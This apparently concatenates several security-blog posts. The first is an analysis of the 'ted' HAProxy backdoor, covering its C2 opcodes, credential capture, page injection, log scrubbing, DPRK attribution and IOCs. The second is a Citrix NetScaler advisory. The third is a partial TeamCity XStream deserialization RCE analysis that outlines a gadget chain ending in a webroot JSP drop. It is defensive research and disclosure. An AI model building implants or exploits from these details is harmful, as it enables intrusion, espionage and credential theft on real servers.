Ted backdoor

The TA recompiled the HAProxy build 2.8.12 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 (18MB) to include a custom plugin (named ted_plugin) leaving debug strings naming the backdoor.

fig10.png
Figure 10: ted_plugin compiled as part of the source code

⠀

Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers. The custom filter defined to capture traffic is loaded via the ted_load_filter_config routine. 

fig11.png
Figure 11: my_filter_config struct

⠀

The routine reads the implant's operational configuration from ~/cache/haproxy-1000.cache. Each field is decrypted in two layers: first ngx_decode applies a chained XOR seeded by the file's first byte; then ngx_decrypt_script applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in ted_init_util from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" , and held in the ted_dec_dict uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from haproxy-1001.cache and haproxy-1002.cache via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.

After loading its configuration, it sets up signal handling via ted_register_reload_signal_handler() and saves its C2 pipe under HAPROXY_MWORKER_PP_READ and HAPROXY_MWORKER_PP_WRITE environmental variables to survive reloads and restarts, saving child process activity via ted_extra_log().

Below is the list of functions defined by the ted_plugin:

Capability

ted_* routines

HTTP interception and traffic hooking

ted_flt_register_ops2, ted_http_headers_for_htx, ted_chn_analyze_for_htx_constprop_0, ted_chn_analyze_for_htx_constprop_0_cold, ted_http_payload, ted_find_value_from_header_ist

C2 and task execution

ted_pipe_master_thread, ted_pipe_worker_thread, ted_task_for_response, ted_alloc_task_context

IPC and pipes

ted_init_main_pipe, ted_create_pipe_file, ted_create_multi_pipe_file, ted_make_pipe_name

Configuration and rules engine

ted_load_filter_config, ted_reload_filter_config, ted_free_filter_config, ted_load_ip_set

In-memory data structures

ted_set_add, ted_set_contains, ted_set_clean, ted_set_add_string, ted_set_contains_string, ted_set_clean_string

Logging, file I/O

ted_extra_log, ted_save_capture_log2, ted_write_fd, ted_build_correct_path

Initialization and persistence

ted_init_util, ted_register_reload_signal_handler, ted_regex_free

The HAProxy trace_ops struct is copied into my_filter_ops, and contains a hooked tracing method.

fig12.png
Figure 12: my_filter_ops containing hooked methods

⠀

trace_chn_start_analyze() is hooked via ted_chn_analyze_for_htx_constprop_0() that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint "/favorite_list_2x_m500_ico.jpg" (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the ted_rep_state structure that tracks the response state. 

fig13.png

⠀

fig135.png
Figure 13: Dropping into C2 mode

⠀

First, it reaches into HAProxy's internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend beconn/feconn and the global actconn, then 64-bit fields within be_counters (cum_conn, cum_req, bytes_in, bytes_out) guarded against underflow, and 32-bit peak metrics (sps_max, conn_max, cps_max) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via ted_make_pipe_name and ted_create_multi_pipe_file keyed on HAProxy's connection ID under /tmp (e.g. /tmp/t[ID]_w.pipe). If HAProxy is running in master-worker mode (MODE_MWORKER, bit 0x80), the connection ID is written to the pp_w2m pipe so the master process runs the dispatcher; otherwise a detached thread runs ted_pipe_worker_thread locally (Figure 13).

The HTX walk filters on block type 4, which is HTX_BLK_DATA, and writes each block straight into fdPipe with write(). Any short write aborts and closes the pipe. Afterwards to_forward, output, buf.head and buf.data on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker's command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.

The C2 dispatcher logic is resumed in the table below.

Command

Description

Opcode '0' (0x30)

Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.

Opcode '1' (0x31)

File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, "wb"), and replies 1. Used to upload payload files for the injection path.

Opcode '2' (0x32)

File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.

Opcode '3' (0x33)

Command execution: executes commands via popen; merges stdout/stderr, appends " 2>&1", and streams output back XOR-encrypted.

Opcode '9' (0x39)

Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.

All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That's what the response task then relays out via send() on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy's response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.

If the initial endpoint check does not match "/favorite_list_2x_m500_ico.jpg" and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the capturelist_set field within the my_filter_config struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).

When a victim's request matches the attacker's filters, the backdoor goes to work.

It extracts the victim's source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators.

fig14.png
Figure 14: Real-time capturing of selected HTTP headers matching specific regexes

⠀

The execution flow continues based on conf->action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a User-Agent, and if agent_pattern is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them ted_script_config struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one ted_script_config entry's URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.

fig15.png

⠀

fig155.png
Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context

⠀

Fourth, the implant parses Accept-Language splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte info blob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid, status, score, and info. With no key, the fallback is IP-based: action == 1 requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host. 

Once all checks are cleared the chosen file is opened, stored in the per-connection ted_rep_state as fpAppend and nTotal, alongside a script_conf back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments nb_rsp_data_filters or nb_req_data_filters on the stream, which is HAProxy's documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.

image6.png
Figure 16: Hooking the HTTP response

⠀

Once a victim is marked for injection, two callbacks finish the job on the way out. ted_http_headers_for_htx runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200 OK if it was anything else.

ted_http_payload performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with ngx_decrypt_script, and substitutes it through HAProxy's own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter's offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.

trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with ngx_decrypt_script, and appends it as a new data block, bumping the channel's output count to match. 

The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy's own scheduler to drive the process.

To ensure persistence, curlRAT is integrated and hidden as libc routines.

image9.png
Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7

⠀

Attacker infrastructure

The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs — .store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. The img.responsive.pstatic.autos mimics Naver's pstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.

Attribution

At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver's static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the Operation Code on Toast (APT37) and Operation Synchole (Lazarus), allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by ThreatFox and maltrail.

The campaign's timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by Mandiant to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored open-source programs to deliver malware and use feedback XOR + base64 to interact with the C2 by Kaspersky. As of July 2026, similar suspected initial access has been reported by ENKI WhiteHat, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.

Further evidence is necessary to make a more definitive assessment. Moreover, the presence of ngx_* prefixed routines within the ted backdoor suggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest Funnull campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.

Conclusion

ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component's own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.

MITRE ATT&CK techniques

Tactic

Technique

Detail

Component

Initial access

[T1190] Exploit public-facing application

HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer

ted backdoor

Execution

[T1059.004] Unix shell

popen() used for one-shot command execution per opcode '3'; PTY shell spawned per opcode '5'; reverse shell per opcode '3' in CurlRAT

ted backdoor, CurlRAT

Execution

[T1106] Native API

pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling

ted backdoor

Persistence

[T1574.006] Hijack execution flow: dynamic linker

Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts

ted backdoor

Persistence

[T1543] Create or modify system process

Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time

Stager, CurlRAT

Privilege escalation

[T1548] Abuse elevation control mechanism

setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop

Stager, CurlRAT

Defence evasion

[T1036.005] Masquerade: match legitimate name

crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis

Stager, CurlRAT

Defence evasion

[T1070.002] Clear Linux logs

Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file

Stager

Defence evasion

[T1070.006] Timestomp

Backdoored crond given same creation timestamp as /usr/bin/ssh post-install

Stager

Defence evasion

[T1562.006] Disable or modify OS logging

HAProxy connection counters (beconn, feconn, actconn, cum_conn, cum_req, bytes_in, bytes_out, sps_max, conn_max, cps_max) atomically scrubbed via hardcoded struct offsets

ted backdoor

Defence evasion

[T1027] Obfuscated files or information

Config files encrypted with chained XOR + monoalphabetic substitution; payload scripts encrypted with substitution cipher; C2 comms protected with feedback XOR + Base64

Stager, CurlRAT, ted backdoor

Defence evasion

[T1497.001] Virtualisation/sandbox evasion

CurlRAT watchdog checks /usr/lib/libvirtlog.so.0 before activating; aborts if not in virtualized environment

CurlRAT

Defence evasion

[T1480] Execution guardrails

Stager deploys only if HAProxy or cron are detected; CurlRAT validates victim token before handler dispatch; ted blacklists known scanner IPs

Stager, CurlRAT, ted backdoor

Credential access

[T1556.003] Modify authentication process: pluggable authentication modules

SSH keylogger intercepts plaintext passwords; credentials saved to encrypted log at /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19

CurlRAT

Credential access

[T1539] Steal web session cookie

Passive capture engine intercepts HTTP sessions; harvests Source IP, Host, URL, Referer, User-Agent, Accept-Language key via regex-gated filters

ted backdoor

Discovery

[T1082] System information discovery

Stager profiles hostname, OS distro, version, kernel release, CPU arch to select payload; CurlRAT beacon transmits 10KB system-info structure

Stager, CurlRAT

Discovery

[T1057] Process discovery

CurlRAT watchdog polls /proc/haproxy.pid hourly; tracks started/stopped/restarted/reloaded states; reports via writeservice_info endpoint

CurlRAT

Collection

[T1185] Browser session hijacking

Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped

ted backdoor

Collection

[T1119] Automated collection

Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present

ted backdoor

C2

[T1071.001] Application layer protocol: web protocols

ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST

CurlRAT, ted backdoor

C2

[T1132.001] Data encoding: standard encoding

All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key

CurlRAT, ted backdoor

C2

[T1102] Web service

CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host

CurlRAT

C2

[T1572] Protocol tunnelling

Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging

ted backdoor

C2

[T1568] Dynamic resolution

CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5'd and uppercased; used as User-token header in all C2 requests

CurlRAT

Exfiltration

[T1041] Exfiltration over C2 channel

SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel

Stager, CurlRAT, ted backdoor, SSH keylogger

Exfiltration

[T1560] Archive collected data

SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data

CurlRAT, SSH keylogger

Indicators of compromise (IOCs)

CurlRAT Stager

5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91

09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe

fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61

CurlRAT

83f7d565b0465546027052b597af46eae3a199e7a91fcc2ab936341147349130

7007a78d50a993cb174c685eba96eb442c9507e38fd9d8e5dffc712f613ec110

6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53

ed72f4cd8d467b5c5d95ae6aeca4aaeea14d79565d379c1ca5871a714727be16

feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3

6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53

d53c760c23b4405eb04ad0f20ead375440344b3bdf1fb7854ed12e40d155eabe - cronie

2f02b09d61d432134e994ad671258f523bbf289ae6091fd4eae192c60bd51b6f - agetty

8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c - atd

a1d8af3a6acb731f07f72040eccb3450c1c83d40e29f736c2a63d35388660be4 - polkitd

12810854c8b2c391b23e2e18b013e873d0369b0637aa3cf993136c07188ba3b8

009a1e2d7a582a24e50cf2ffc2a005482c8e38f22bf5ed416053855f8d054e1e

SSH keylogger

4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5

Ted backdoor

94630b96f628c96a6bff7904b40ffc9ad67c86f8a4ff6080c3b524831c93f402

72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558

a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7

C2

img.monderhouse.space

img.smartnords.site

img.darklights.store

img.responsive.pstatic.autos

img.socialteams.store

img.worksongo.store

Rapid7 customers

CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway

By: Rapid7
19 August 2026 at 12:46

Overview

On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.

NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.

CVE-2026-19490 affects the following systems:

  • NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32

  • NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21

  • NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS

  • NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277

As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.

On September 9, 2026, CVE-2026-19490 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.

Mitigation guidance

Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.

Fixed versions for affected products are listed below:

  • NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases

  • NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1

  • NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS

  • NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:

  • SAML action configuration is in place:

    • "add authentication samlAction.*"

  • Auth or VPN vserver is configured:

    •  "add authentication vserver .*"

    •  "add vpn vserver .*"

For the latest guidance, please refer to the official Citrix advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.

Updates

  • August 19, 2026: Initial publication.

  • August 20, 2026: Updated Rapid7 customers section to reflect availability of vulnerability check.
  • September 11, 2026: Updated Overview to add new CISA KEV reference.

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

